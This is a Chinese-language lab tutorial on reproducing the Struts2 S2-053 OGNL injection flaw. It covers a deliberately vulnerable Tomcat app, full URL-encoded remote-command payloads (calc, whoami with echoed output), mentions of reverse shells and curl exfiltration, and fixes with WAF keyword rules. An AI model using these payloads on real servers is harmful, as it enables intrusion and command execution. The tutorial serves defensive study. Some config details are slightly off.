1. 项目概述:一次针对S2-053漏洞的深度剖析与实战演练
最近在整理历史高危漏洞的复现笔记,翻到了Struts2框架的S2-053(CVE-2017-12611)。这个漏洞虽然不像S2-045那样“名声在外”,但其利用方式非常典型,涉及Struts2框架中一个容易被开发者忽视的“特性”——Freemarker模板标签的二次解析。对于从事应用安全研究、红队渗透测试或者想深入理解Struts2安全机制的朋友来说,亲手搭建环境、分析原理并完成一次完整的渗透实践,是提升实战能力绝佳的训练场。这个漏洞的核心在于,当开发者在Freemarker模板中不当使用Struts2标签时,攻击者可以构造特定的OGNL表达式,通过URL参数注入,最终在服务器端实现远程代码执行。今天,我就带大家从零开始,一步步拆解S2-053,不仅复现漏洞,更要弄懂它为何会发生,以及在实际渗透中如何精准地发现和利用它。
2. 漏洞原理深度解析:Freemarker标签的“双刃剑”特性
2.1 Struts2、OGNL与Freemarker的三角关系
要理解S2-053,必须先理清Struts2框架中几个核心组件的交互逻辑。Struts2本身是一个基于MVC设计模式的Web应用框架,其强大的动态特性很大程度上依赖于OGNL(Object-Graph Navigation Language)表达式语言。OGNL允许开发者通过简洁的语法访问和操作对象图,在Struts2中,它被广泛用于将HTTP请求参数映射到Action的属性、在视图中动态展示数据等。
而Freemarker是Struts2官方支持的一种流行的模板引擎。开发者可以在.ftl模板文件中使用Struts2提供的自定义标签(如<s:textfield name="username"/>)来快速生成表单、显示数据等。这些标签在渲染时,其属性值(如name)会被Struts2解析和处理。问题就出在这个“处理”环节:为了支持动态内容,Struts2允许在某些标签属性中嵌入OGNL表达式,例如<s:textfield name="%{dynamicName}"/>。这里的%{}包裹的就是OGNL表达式,它会在标签渲染时被求值。
2.2 漏洞触发点:不当的标签属性值渲染
S2-053漏洞的根源在于FreemarkerTag类的处理机制。当Freemarker模板中的Struts2标签被解析时,框架会调用相应的方法来渲染标签的属性。对于某些特定标签的特定属性,如果开发者在编写模板时,直接将未经验证的用户输入作为标签的属性值(尤其是那些支持OGNL表达式的属性),就会埋下隐患。
具体来说,攻击者可以构造一个HTTP请求,其中包含恶意的OGNL表达式作为参数。这个参数值被传递到Action,随后在渲染Freemarker模板时,该值被当作某个Struts2标签的属性值使用。由于框架默认会对这些属性值进行OGNL表达式解析,攻击者注入的恶意代码就会被执行,从而导致远程代码执行(RCE)。
用一个简单的场景类比:你家的门(Struts2标签)有一个智能锁(标签属性),这个锁支持语音指令(OGNL表达式)来开门。本来,语音指令应该由房主(开发者)预先设定好。但如果这个锁的语音输入麦克风(用户输入参数)直接对外暴露,且没有对输入的语音进行过滤,那么任何一个路过的人(攻击者)对着麦克风喊一句“开门”,门就打开了。S2-053就是这个“麦克风”暴露且不设防的问题。
2.3 与其它Struts2漏洞的异同
很多朋友可能会联想到著名的S2-045(基于Jakarta Multipart解析器的RCE)或S2-046。它们虽然都是OGNL注入导致RCE,但注入点和触发路径完全不同。S2-045是通过精心构造的Content-Type或Content-Disposition头值触发,而S2-053的入口是普通的HTTP请求参数,触发点在Freemarker模板渲染阶段。这意味着,即使你的应用做好了文件上传的安全校验,也可能因为一个不经意的Freemarker标签写法而中招。这也提醒我们,安全是一个立体工程,堵住一个常见漏洞,可能还有另一个不常见的入口在敞开。
3. 靶场环境搭建:构建一个可复现的脆弱应用
纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,最好的方式就是亲手搭建一个存在漏洞的环境。下面我将详细演示如何在本地快速搭建一个用于复现S2-053的靶场。
3.1 环境与工具准备
首先,我们需要准备以下“食材”:
- Java开发环境:JDK 8(Struts2 2.3.x - 2.5.10版本与此漏洞相关,JDK 8兼容性最好)。
- Web服务器:Apache Tomcat 8.5.x。版本无需特别精确,能运行Struts2应用即可。
- 存在漏洞的Struts2版本:我们将使用Struts 2.5.10。这是受S2-053影响的版本之一,也是官方修复前的最后一个受影响版本。
- 集成开发环境(IDE):IntelliJ IDEA或Eclipse,用于创建和运行Web项目。这里我使用IDEA进行演示。
- 构建工具:Maven 3.x,用于管理项目依赖。
注意:所有软件建议从官方网站下载,避免使用来路不明的版本,以防环境本身被植入后门。
3.2 创建Maven Web项目并引入漏洞依赖
打开IDEA,新建一个Maven项目,选择maven-archetype-webapp原型。在生成的pom.xml文件中,我们需要引入存在漏洞的Struts2核心库和Freemarker插件。
<dependencies> <!-- Struts2 Core (Vulnerable Version) --> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.5.10</version> </dependency> <!-- Struts2 Freemarker Plugin --> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-json-plugin</artifactId> <version>2.5.10</version> </dependency> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-spring-plugin</artifactId> <version>2.5.10</version> </dependency> <!-- Servlet API --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies>这里的关键是struts2-core的版本号为2.5.10。同时,为了演示Freemarker模板功能,我们通常也需要相关的插件支持,但核心漏洞依赖已在struts2-core中。
3.3 编写存在漏洞的Action和Freemarker模板
接下来,我们创建一个存在安全问题的Action类。这个类的功能很简单:接收一个参数,并将其传递给Freemarker模板。
1. 创建Action类 (VulAction.java):
package com.vul.demo.action; import com.opensymphony.xwork2.ActionSupport; public class VulAction extends ActionSupport { private String message; // 用户可控的参数 public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } @Override public String execute() throws Exception { // 简单地将请求参数传递到视图 return SUCCESS; } }2. 配置Struts2核心过滤器 (web.xml):在WEB-INF/web.xml中配置Struts2的过滤器,这是所有Struts2应用的标准配置。
<?xml version="1.0" encoding="UTF-8"?> <web-app ...> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>3. 配置Struts2路由 (struts.xml):在resources目录下创建struts.xml,定义Action的映射和对应的视图。
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts> <constant name="struts.devMode" value="true" /> <package name="default" extends="struts-default" namespace="/"> <action name="vul" class="com.vul.demo.action.VulAction"> <result name="success" type="freemarker">/WEB-INF/ftl/welcome.ftl</result> </action> </package> </struts>注意,这里的结果类型(type)是freemarker,指定使用Freemarker模板渲染。
4. 编写存在漏洞的Freemarker模板 (welcome.ftl):在WEB-INF/ftl/目录下创建welcome.ftl文件。这里是漏洞触发的关键点。
<html> <head><title>S2-053 Vul Demo</title></head> <body> <h1>Vulnerable Page</h1> <#-- 漏洞点:将用户输入的message参数,直接放入Struts2标签的name属性中 --> <s:textfield name="${message}" label="Test Input"/> <p>Your message is: ${message}</p> </body> </html>这段代码的致命问题在于:<s:textfield>标签的name属性直接使用了EL表达式${message}来引用用户输入的参数。在Struts2解析渲染这个Freemarker模板时,它会认为${message}这个整体是标签name属性的值。然而,如果攻击者传入的message参数本身就是一个OGNL表达式,Struts2在后续处理中会对其进行二次解析。
3.4 部署与启动
使用Maven打包项目(mvn clean package),将生成的WAR文件部署到Tomcat的webapps目录下,启动Tomcat。访问http://localhost:8080/your-project-name/vul.action,如果能看到一个包含文本框的页面,说明基础环境搭建成功。此时,通过URL参数?message=test传入数据,页面会正常显示。我们的脆弱靶场就准备好了。
实操心得:在搭建环境时,最容易出错的地方是Struts2的版本依赖和配置文件路径。务必确保
struts.xml文件在编译后位于WEB-INF/classes目录下,并且Freemarker模板文件的路径与struts.xml中配置的路径完全一致。建议在IDEA中直接使用Tomcat插件运行,便于调试。
4. 漏洞利用链构造与渗透实践
环境就绪后,我们进入最关键的环节:构造攻击载荷,实现远程代码执行。理解利用链的每一步,比单纯执行一个EXP脚本有价值得多。
4.1 探测漏洞是否存在
首先,我们需要一个简单的方法来探测目标应用是否使用了存在漏洞的Struts2版本和Freemarker模板。一个基本的探测Payload是利用OGNL表达式执行一个无副作用但能观察到的动作,比如触发一个轻微的延迟或访问一个已知的Java类属性。
例如,我们可以尝试注入一个执行简单计算的OGNL表达式,通过响应时间差异来判断:
http://localhost:8080/demo/vul.action?message=%25%7b1+2%7d这里%25%7b是%{的URL编码,%7d是}的URL编码。这个Payload的意思是%{1+2}。如果页面返回正常,或者<s:textfield>标签的name属性值变成了3,那么极有可能存在OGNL表达式解析,需要进一步验证。但在S2-053的特定场景下,更直接的探测是尝试执行一个简单的命令,如计算"test".length()。
4.2 构造RCE Payload:从弹计算器到反弹Shell
漏洞确认后,我们就可以构造执行任意命令的Payload了。OGNL表达式提供了强大的反射能力,可以调用Runtime.getRuntime().exec()来执行系统命令。
基础命令执行Payload:一个典型的Payload结构如下:
%{(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(@java.lang.Runtime@getRuntime().exec(#cmds)))}让我们拆解这个“俄罗斯套娃”:
%{ ... }:告诉Struts2这是一个需要解析的OGNL表达式。#_memberAccess['allowStaticMethodAccess']=true:这是一个关键步骤。在Struts2的安全沙箱限制下,默认禁止OGNL调用静态方法。这一步通过修改一个内部标志位,临时允许静态方法访问。这是早期Struts2漏洞利用的常见绕过手法。#cmd='calc':定义要执行的命令变量,这里是启动Windows计算器。#iswin=...:判断当前操作系统是否为Windows,用于选择正确的命令解释器。#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}):根据操作系统构造命令数组。@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(...):获取当前HTTP响应对象的Writer,并将命令执行的结果(一个Process对象)打印到响应中。实际上,这样打印出来的是对象引用,我们通常更关心命令是否执行。
实战技巧:命令执行与回显上面的Payload虽然能执行命令,但我们看不到命令的输出结果。在实际渗透测试中,我们需要获取命令执行的回显。这需要更巧妙的OGNL表达式,将命令执行的输入流读取并输出到HTTP响应中。一个常见的回显Payload构造如下:
%{ (#_memberAccess['allowStaticMethodAccess']=true). (#cmd='whoami'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush()) }这个Payload做了几件关键事:
- 使用
ProcessBuilder启动进程,并重定向错误流到标准输出流。 - 获取HttpServletResponse的
OutputStream。 - 利用Apache Commons IO库的
IOUtils.copy方法,将进程的输入流(即命令输出)直接复制到HTTP响应输出流中。 - 这样,访问漏洞URL时,页面上就会直接显示
whoami命令的执行结果。
注意事项:在实际测试中,目标服务器可能没有
commons-io库,或者版本不同。因此,更稳健的做法是使用纯Java反射的方式读取进程流,虽然OGNL表达式会更复杂。这也是为什么公开的EXP往往有多个变种,需要根据目标环境进行适配。
4.3 利用过程全记录
现在,我们将完整的利用过程串联起来。假设我们的靶场应用名为s2-053-demo。
- 访问漏洞页面:
http://localhost:8080/s2-053-demo/vul.action。页面正常显示一个文本框。 - 注入探测Payload:在URL后添加参数
?message=%25%7b1%2b2%7d(即%{1+2})。提交后,观察页面。如果文本框的name属性值或页面其他地方显示为3,则证实OGNL表达式被解析。 - 注入RCE Payload:将
message参数替换为编码后的完整命令执行Payload。例如,执行whoami命令。由于Payload很长且包含特殊字符,必须进行完整的URL编码。可以使用Burp Suite的Decoder模块或在线编码工具。将编码后的长字符串作为message参数的值。http://localhost:8080/s2-053-demo/vul.action?message=%25%7b%28%23_memberAccess%5b%27allowStaticMethodAccess%27%5d%3dtrue%29.%28%23cmd%3d%27whoami%27%29.%28%23iswin%3d%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3d%28%23iswin%3f%7b%27cmd.exe%27%2c%27%2fc%27%2c%23cmd%7d%3a%7b%27%2fbin%2fbash%27%2c%27-c%27%2c%23cmd%7d%29%29.%28%23p%3dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3d%23p.start%28%29%29.%28%23ros%3d%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2c%23ros%29%29.%28%23ros.flush%28%29%29%7d - 查看结果:发送请求。如果成功,页面原本应该显示内容的地方,会被
whoami命令的输出(如nt authority\system或当前用户名)所覆盖。
至此,一次完整的S2-053漏洞利用就完成了。从环境搭建到Payload构造,再到最终执行系统命令,我们走通了整个攻击链。
5. 漏洞修复方案与安全编码启示
复现漏洞不是为了攻击,而是为了更有效地防御。了解了攻击原理,修复方案就变得清晰。
5.1 官方修复方案
Apache Struts官方在后续版本中修复了此漏洞。修复的核心思路是:在Freemarker模板渲染过程中,默认对Struts2标签的属性值进行严格的OGNL表达式求值控制,或者要求开发者显式声明哪些属性允许动态OGNL表达式。
升级框架版本:最直接有效的方法是升级Struts2到安全版本。
- 对于Struts 2.3.x系列,应升级至2.3.34或更高。
- 对于Struts 2.5.x系列,应升级至2.5.12或更高。 升级后,框架会默认禁止在Freemarker标签属性中解析OGNL表达式,除非开发者通过特定配置明确开启(而这通常是不推荐的)。
5.2 代码层修复与安全实践
如果因为兼容性问题无法立即升级,或者作为开发者想从根源上避免此类问题,需要在编码时遵循以下原则:
避免在Freemarker标签属性中直接使用动态值:这是最根本的解决方法。不要将任何用户可控的数据直接放入Struts2标签的
name、id、value等属性中。如果确实需要动态值,应该在Action中处理好,以静态字符串的形式传递给视图。- 不安全示例:
<s:textfield name="${userInput}" /> - 安全做法:在Action中,对
userInput进行严格的过滤和校验,确保它不包含任何OGNL表达式语法(如%{、$等),然后将其作为一个普通的字符串属性传递给模板,在模板中使用<s:textfield name="safeUserName" />,其中safeUserName是Action中经过处理的属性。
- 不安全示例:
启用Struts2的安全拦截器:Struts2提供了一些内置的安全拦截器,如
ParametersInterceptor,可以通过配置来限制或过滤某些参数。可以自定义拦截器,对传入的参数进行OGNL关键词检查。输入验证与输出编码:对所有用户输入进行严格的验证,拒绝包含非法字符的请求。在视图层,对于非标签属性的动态内容输出,务必进行HTML编码,防止XSS等二次攻击。
5.3 运维层防护建议
对于运维和安全人员,在无法立即修改代码的情况下,可以采取以下缓解措施:
- 部署Web应用防火墙(WAF):配置WAF规则,拦截请求中含有
%{、#_memberAccess、Runtime.getRuntime()、ProcessBuilder等OGNL表达式和Java反射关键字的请求。这可以有效阻断大部分自动化攻击工具。 - 网络隔离与最小权限:将存在漏洞的应用部署在内网,严格限制外网访问。运行Tomcat的服务器账户应使用最低必要权限,避免攻击者一旦成功执行命令就获取系统最高权限。
- 加强日志监控:在应用和Web服务器(如Tomcat)的访问日志中,监控异常的、超长的请求参数。S2-053的利用Payload通常很长,会在日志中留下明显特征。可以设置告警规则,对包含大量OGNL特殊字符的请求进行实时告警。
6. 渗透测试中的思考与拓展
在实战渗透测试中,遇到Struts2框架的应用,S2-053只是众多攻击面中的一个。我们需要形成一套系统化的检测和利用思路。
6.1 如何高效发现潜在的S2-053漏洞
- 框架指纹识别:使用工具(如WhatWeb, Wappalyzer)或手动检查HTTP响应头、错误页面、静态资源路径(如
/struts/下的资源),判断目标是否使用Struts2。 - 版本探测:访问
/struts/struts.do或/struts/webconsole.html等默认路径(如果存在),或者通过Action返回的错误信息,可以推测Struts2的大致版本。知道版本号有助于缩小漏洞范围。 - 功能点分析:寻找网站中使用Freemarker模板渲染的功能点。例如,具有复杂表单、报表生成、邮件模板等功能的页面。关注URL参数名,尝试传入测试Payload。
- 自动化扫描与手动验证结合:使用针对Struts2的漏洞扫描器(如Struts2-Scan)进行初步筛查。但自动化工具可能有误报和漏报,对于关键的、可疑的点,必须像我们上面那样,手动构造Payload进行验证,并理解其原理。
6.2 漏洞利用的局限性与绕过
即使确认存在S2-053漏洞,利用过程也可能遇到障碍:
- 安全软件拦截:主机安全软件或EDR可能会检测到
Runtime.exec()或ProcessBuilder等敏感API的调用。 - 命令执行无回显:网络策略或应用配置可能导致命令执行了,但输出无法通过网络返回。此时需要尝试反弹Shell、DNS外带、HTTP外带(如curl将结果发送到可控服务器)等无回显利用技术。
- OGNL沙箱限制:更高版本的Struts2或经过安全加固的环境,可能设置了更严格的OGNL沙箱规则,禁止修改
_memberAccess等关键变量。这就需要研究新的绕过技术,例如利用其他未被禁止的上下文对象或链式调用。
6.3 从攻击者视角看防御
通过这次复现,我们站在攻击者的角度,深刻理解了漏洞产生的根源。这反过来能极大地提升我们的防御视角:
- 安全开发生命周期(SDL):在需求、设计、编码、测试各个环节融入安全考量。对于Struts2这类框架,开发团队应建立“已知高危漏洞清单”,在新项目选型或老项目维护时定期审查。
- 组件资产管理:使用软件成分分析(SCA)工具,持续监控项目中第三方库(如Struts2)的版本,及时获取漏洞情报并推动升级。
- 深度防御:不要依赖单一的安全措施。结合安全的编码实践、及时的框架升级、网络层的WAF、主机层的HIDS,构建纵深防御体系,即使某一层被突破,其他层也能提供保护。
亲手复现一个漏洞,就像完成一次外科手术式的解剖。你看到的不仅仅是漏洞的“症状”,更是其内在的“病理”。S2-053的复现过程,串联起了Java Web开发、框架原理、网络协议、安全攻防多个知识点。下次当你再看到Struts2的漏洞预警时,你脑子里浮现的将不再是一个模糊的概念,而是一幅清晰的代码执行流程图。这才是实战训练的价值所在。在后续的研究中,你可以尝试将这套方法论应用到其他Struts2漏洞(如S2-052, S2-057)上,比较它们触发点的异同,你的漏洞分析能力会得到质的飞跃。